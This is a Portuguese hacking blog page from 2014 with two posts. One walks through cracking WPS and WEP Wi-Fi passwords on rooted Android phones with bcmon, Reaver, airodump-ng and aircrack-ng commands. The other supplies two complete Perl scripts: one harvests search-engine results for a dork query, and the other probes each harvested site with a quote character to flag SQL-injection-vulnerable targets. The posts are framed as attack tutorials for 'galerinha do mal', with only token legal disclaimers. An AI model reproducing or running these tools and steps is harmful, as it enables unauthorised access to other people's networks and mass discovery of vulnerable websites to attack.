Páginas

quinta-feira, 14 de agosto de 2014

Como Hackear uma Rede Wi Fi com o Android

O Blog HackNet não se responsabiliza pelos seus atos. Use o blog apenas para conhecimento. ;)


Como Hackear uma Rede Wi Fi com o Android


Você deseja testar a segurança de sua rede? Antigamente era necessário, para tanto, um computador com Linux e uma placa de rede específica. Hoje, no entanto, é possível escanear e craquear redes sem fio com o uso de dispositivos Android. Essas ferramentas estão disponíveis de graça desde que seu dispositivo seja compatível. Veja o passo 1 abaixo para saber como.


Método 1 de 3: Hackeando Redes com WPS WPA2


Hackear roteadores sem permissão é ilegal. Essas instruções são fornecidas para testar apenas a segurança de sua própria rede.


1-Instale um usuário root em um dispositivo compatível. Nem todo tablet ou telefone Android pode crackear o PIN de uma rede Wi-Fi protegida por senha. É preciso que ele tenha uma placa de rede bcm4329 ou bcm4330, da Broadcom, e um usuário root. Há mais chances de se obter êxito com o Cyanogen ROM. Alguns dos dispositivos que dão os resultados desejados são:

Nexus 7

Galaxy S1/S2

Nexus One

Desire HD

 

2-Baixe e instale o bcmon. Essa ferramenta ativa o modo monitor (Monitor Mode) da placa Broadcom, o que é essencial para poder craquear o PIN. O arquivo APK do bcmon está disponível gratuitamente na página do bcmon, que é hospedada pelo Google Code.

Para instalar um arquivo APK, é necessário acessar o menu Segurança e permitir a instalação de fontes desconhecidas.


3-Rode o bcmon. Depois de instalar o arquivo APK, use o aplicativo. Se o programa pedir, instale o firmware e as ferramentas. Escolha a opção "Ativar o modo monitor" (Enable Monitor Mode). Se o aplicativo travar, abra-o novamente e tente de novo. Se não der certo pela terceira vez, o aplicativo muito provavelmente não funciona em seu dispositivo.

O seu dispositivo precisa ter um usuário root instalado para rodar o bcmon.


4-Baixe e instale o Reaver. O Reaver é um programa desenvolvido para craquear o PIN de uma rede com WPS e obter a senha WPA2. O APK do Reaver pode ser baixado no tópico dos desenvolvedores no fórum XDA-developers.


5-Inicie o Reaver. Vá à área dos ícones de aplicativos e toque o ícone do Reaver para Android. Depois de confirmar que você não o está utilizando para fins ilegais, o Reaver irá procurar por pontos de acesso disponíveis. Para continuar, escolha o ponto de acesso que deseja craquear.

Pode ser necessário conferir o modo monitor antes de continuar. Se for o caso, o bcmon irá se reabrir.


6-Confira as configurações. Na maioria das vezes, dá para deixar as configurações padrão. A opção "Automatic advanced settings" (Configurações avançadas automáticas" deverá estar ativada.


7-Comece a craquear. Aperte o botão "Start Attack" (Iniciar ataque), que fica na parte de baixo do menu de configurações do Reaver. O monitor irá se abrir e você poderá ver, na tela, os resultados até então obtidos.

Pode demorar de 2 a 10 horas (ou até mais) para terminar de craquear uma rede WPS, o que nem sempre se consegue.


Método 2 de 3: Hackeando Roteadores WEP


É ilegal hackear roteadores sem permissão. Essas instruções são fornecidas para testar a segurança de sua própria rede.


1-Instale um usuário root em um dispositivo compatível. Nem todo tablet ou telefone Android pode ser utilizado para craquear o PIN de uma WPS. É preciso que ele tenha uma placa de rede bcm4329 ou bcm4330, da Broadcom, e um usuário root. As maiores chances de sucesso são obtidas com o Cyanogen ROM. Alguns dos dispositivos que sabidamente dão os resultados desejados incluem:

Nexus 7

Galaxy S1/S2

Nexus One

Desire HD


2-Baixe e instale o bcmon. Essa ferramenta ativa o modo monitor (Monitor Mode) da placa Broadcom, o que é essencial para poder craquear o PIN. O arquivo APK do bcmon está disponível gratuitamente na página do bcmon, que é hospedada no Google Code.

Para instalar um arquivo APK, é preciso acessar o menu Segurança (Security) e permitir a instalação a partir de fontes desconhecidas.


3-Rode o bcmon. Depois de instalar o APK, rode o aplicativo. Se o programa pedir, instale o firmware e as ferramentas. Ative a opção "Enable Monitor Mode" (Ativar modo monitor). Se o aplicativo travar, reabra-o e tente de novo. Se não der certo três vezes, muito provavelmente o aplicativo não funciona em seu equipamento.

Seu dispositivo precisa ter um usuário root para rodar o bcmon.


4-Aperte em "Run bcmon terminal" (Rodar o terminal bcmon). Isso irá iniciar um terminal semelhante à maioria dos terminais de Linux. Digite airodump-ng e aperte Enter. O Airdump será carregado, e você será redirecionado ao prompt de comando. Digite então airodump-ng wlan0 e aperte Enter.


5-Anote o endereço MAC que aparecer. É o endereço MAC do roteador. Se aparecerem vários na lista, confira se você anotou o certo.

Anote também o canal de transmissão do ponto de acesso.


6-Comece então a escanear esse canal. Antes de craquear a senha, é preciso coletar informações do ponto de acesso por várias horas. Digite airodump-ng -c channel# --bssid MAC address -w output ath0 e aperte enter.

Continue escaneando até obter, pelo menos, entre 20.000 e 30.000 pacotes.


7-Craqueie a senha quando você tiver um número razoável de pacotes. Para tanto, volte ao terminal, digite aircrack-ng output*.cap e aperte Enter.


8-Quando terminar, anote a senha, que é exibida em formato hexadecimal. Depois de terminar de craquear, o que pode levar horas, vai aparecer a mensagem KEY FOUND! seguida pela senha em formato hexadecimal. A "Probability" (Probabilidade) deverá ser de 100%, senão a senha não funcionará.[2]

Quando for digitar a senha, não coloque o ":". Se ela for, por exemplo, 12:34:56:78:90, você deverá digitar 1234567890.


Método 3 de 3: Usando o Osmino Wi-Fi

Esse aplicativo irá escanear os pontos de acesso disponíveis e permitir que você se conecte àqueles que têm senhas compartilhadas. Esse aplicativo não hackeia nada, mas permite usar senhas que foram hackeadas por outra pessoa.


1-Abra o Google Play. O Osmino pode ser baixado gratuitamente pela Play Store.

Procure por "Osmino Free Wi-Fi" e instale o primeiro item que aparecer.


2-Descubra quais são as redes disponíveis em sua localidade. Esse aplicativo irá rastrear todos os pontos de acesso desprotegidos das proximidades, além de informar a quais delas é possível se conectar.


3-Escolha uma rede sem fio. Você irá perceber que algumas redes são apresentadas com ícones verdes ou vermelhos. Escolha uma que tenha um verde – "redes abertas e gratuitas" ou uma cujas senhas já foram hackeadas. O desenvolvedor criou uma comunidade na qual os usuários compartilham as senhas obtidas.


Pense duas vezes antes de se conectar a redes protegidas por senha sem permissão, pois isso pode ser ilegal.

quarta-feira, 13 de agosto de 2014

Como achar sites vulneraveis a SQL injection

Fala ae galerinha do mal tudo bem ?kk 
Hj vou estar ensinando a criar um scan que faz procuras por sites vulneraveis a SQL injection. Bom chega de papo e vamos la ! 

1° Passo baixe o programa  ActivePerl-5.16. http://www.mediafire.com/download/wpvaa96vjcibsk1/ActivePerl-5.16.rar Para que possa rodar os arquivos !!!

2° Passo abra seu bloco de notas e cole este codigo :


#!/usr/bin/perl


#Coded: Brlo0ping


 use LWP::UserAgent;


print "----|| Coded: Brlo0ping ||-----||Acc3ss ro0t:~# ----||\n";


print "Digite um dork: ex:(noticias.php?id=100)\n" ;


print "-->>";


$dork = <STDIN>;


chomp($dork);


for ($i = 0; $i < 1000; $i += 10) {


$b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');


$b->timeout(30);


$b->env_proxy;


$c = $b->get('http://www.bing.com/search?q=' . $dork . '&first=' . $i . '&FORM=PERE')->content;


$check = index($c, 'sb_pagN');


while (1) {


$n = index($c, '<h3><a href="');


if ($n == -1) {


last;


}


$c = substr($c, $n + 13);


$s = substr($c, 0, index($c, '"'));


open (txt,">>lista.txt");


print txt  $s,"\n";


close(txt);


}


if ($check == -1) {


last;


}


}


system("lista.txt");


exit;



........................ .................. e salve na sua area de trabalho como scan.pl

3° Passo: abra novamente seu bloco de notas e cole este codigo:



#!/usr/bin/perl


use LWP::UserAgent;


use HTTP::Request;


use LWP::Simple;





$sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }


system("$cmd");





if (!$ARGV[0]) {





$sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }


system("$cmd");





my @bannerzinho = (0,100..200);


my $variavelbanner = $bannerzinho[int rand @bannerzinho];





if ($variavelbanner % 2 == 0) {





&bannerUm();


exit;





}


else {


&bannerDois();


exit;


}


}





&bannerDois();





print q {


  Scaneando WebSite...








};





open( SITE, "< $ARGV[0]" ) or die( "Nao foi possível abrir o arquivo: $!" );





our @array = <SITE>;





$numero = $#array;





for ($i = 0; $i <= $numero; $i++) {





$Dominio = "$array[$i]";





if($Dominio !~ /http:\/\//) { $Dominio = "http://$Dominio"; }








$cmd = "'";





$site = "$Dominio$cmd";





my $req=HTTP::Request->new(GET=>$site);


my $ua=LWP::UserAgent->new();


$ua->timeout(15);


my $resposta=$ua->request($req);





if($resposta->content =~ /You have an error in your SQL syntax/ ||


$resposta->content =~ /MySQL server version/ ||


$resposta->content =~ /Syntax error converting the nvarchar value/ ||


$resposta->content =~ /Unclosed/ ||


$resposta->content =~ /SQL Server error/ ||


$resposta->content =~ /JET/) {





print "\n \t $Dominio \n";





open (NOTEPAD, ">> Sites Vulneraveis.txt");


print NOTEPAD "$site\n";


close(NOTEPAD);





}


}





print q {





FIM DO SCANNEAMENTO !





};








sub bannerUm {





print q {











_______________________


< Hello !! Welcome !! >


-----------------------


\ ,__,


\ (oo)____


(__) )\


||--|| *


| | _) |


__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|


| | | __/ | ( |\__ \ | | | ( | | |


_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|


_| Scanner v 1.0











Modo de uso: perl ScannerSQL.pl lista.txt


Scanner criado por: Loko Virtual








};








}





sub bannerDois {





print q {


_ _


_ | | (_)_


____ ____| |_ ____ ___ ____ | | ___ _| |_


| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)


| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__


|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)


|_| Scanner v 1.0











Modo de uso: perl ScannerSQL.pl lista.txt


Scanner criado por: Loko Virtual











};





}


........................ .................... e salve como sql.pl na sua area de trabalho!

4° Passo: Execute o scan.pl
Agora vc terá que colocar uma DORK EX: noticias.php?id=12 --->voce pode estar utilizando outros --->
Vamo la 

Digite: noticias.php?id=12 e de enter 
Vai começar a fazer um scan em todos os sites que tem esta DORK e ira criar um arquivo chamado "lista.txt" depois se você quiser parar é so apertar Ctrl + C.

5° Passo: agora abra seu CMD: pra quem não sabe aperte iniciar + R e ira abrir uma caixa de dialogo e digite cmd  e de enter.

6° la vai estar na seguinte pasta -
C:\Users\USER>

Digite cd desktop e de enter e vai ficar assim:

C:\Users\USER\Desktop>

Digite sql.pl lista.txt e de enter /////e agora vai começar o scan e ira criar um arquivo txt chamado Sites Vulneraveis.